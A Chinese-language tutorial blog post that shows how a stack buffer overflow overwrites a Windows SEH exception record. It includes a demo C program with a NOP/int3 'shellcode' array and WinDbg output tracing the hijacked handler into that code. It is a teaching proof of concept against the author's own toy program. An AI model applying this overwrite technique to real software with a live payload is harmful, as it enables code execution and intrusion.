前面一篇blog <堆溢出(DwordShoot)利用SEH异常处理 > 里提到了基于堆溢出利用SEH的方式,本文将侧重于栈溢出利用SEH异常处理。
先来看下示例代码:
#include <windows.h>
#include <stdio.h>
char shellcode[] = {"\x90\x90\x90\x90\x90\x90\xeb\x10" \
"\x90\x90\x90\x90\x90\x90\x90\xcc" \
"\x90\x90\x90\x90\x08\x33\x42\x00" \
"\x90\x90\x90\x90\x90\x90\x90\x90" };
int main()
{
char buff[8] = {0};
printf("shellcode:%08x\n",shellcode);
int i=0,j=0;
__try
{
memcpy(buff,shellcode,0x18);
i/=j;
}
__except(1)
{
printf("exception handled\n");
}
return 0;
}
程序进入__try/__except块后,查看栈中刚形成的异常处理节点和buff的内存分布:
0:000> !exchain
0012ff70: SEHOverflow!_except_handler3+0 (00401600)
CRT scope 0, filter: SEHOverflow!main+92 (004010a2)
func: SEHOverflow!main+98 (004010a8)
0012ffb0: SEHOverflow!_except_handler3+0 (00401600)
CRT scope 0, filter: SEHOverflow!mainCRTStartup+f8 (004017d8)
func: SEHOverflow!mainCRTStartup+113 (004017f3)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
CRT scope 0, filter: kernel32!BaseProcessStart+29 (77e85168)
func: kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff
0:000> dd buff L1
0012ff60 00000000
当前异常处理节点
_EXCEPTION_REGISTRATION_RECORD位于0x12ff70,buff位于0x12ff60,两者相距0x10B。换言之,只要往buff中拷贝超过0x10B字节,就能覆盖异常处理节点。但要修改
_EXCEPTION_REGISTRATION_RECORD!
Handler,使得异常发生时跳进shellcode执行,则至少溢出到0x18B。
前文已经说过_EXCEPTION_REGISTRATION_RECORD!
Handler中存放的是函数指针,指向__except_handler3函数,异常出现时通过(
_EXCEPTION_REGISTRATION_RECORD->
Handler)();语句进入__except_handler3进行处理。为了跳进shellcode执行,需要将
_EXCEPTION_REGISTRATION_RECORD!
Handler中保存的地址溢出为shellcode的地址。程序运行时,shellcode的地址是0x423308,因此,我向shellcode偏移0x14处填入0x423308,这样异常出发时即可跳进shellcode执行,如下图:
异常发生前:
触发异常:
触发异常后进入shellcode:
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00423308 edx=77f833b4 esi=00000000 edi=00000000
eip=00423308 esp=0012fb48 ebp=0012fb68 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
SEHOverflow!shellcode:
00423308 90 nop
0:000> u .
SEHOverflow!shellcode:
00423308 90 nop
00423309 90 nop
0042330a 90 nop
0042330b 90 nop
0042330c 90 nop
0042330d 90 nop
0042330e eb10 jmp SEHOverflow!shellcode+0x18 (00423320)
00423310 90 nop
最后,我们来看下栈溢出后,对异常处理链表的影响:
0:000> !exchain
0012fb5c: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SEHOverflow!shellcode+0 (00423308)
Invalid exception stack at 90909090
可以看到,由于buff溢出覆盖了整个异常处理节点,影响了
_EXCEPTION_REGISTRATION_RECORD!Next的值,因此,整个异常处理链表在发生覆盖后就突然断了。相对的,堆溢出后,仅仅影响的是_EXCEPTION_REGISTRATION_RECORD!Handle部分,比起栈溢出那种大动作,它优雅很多~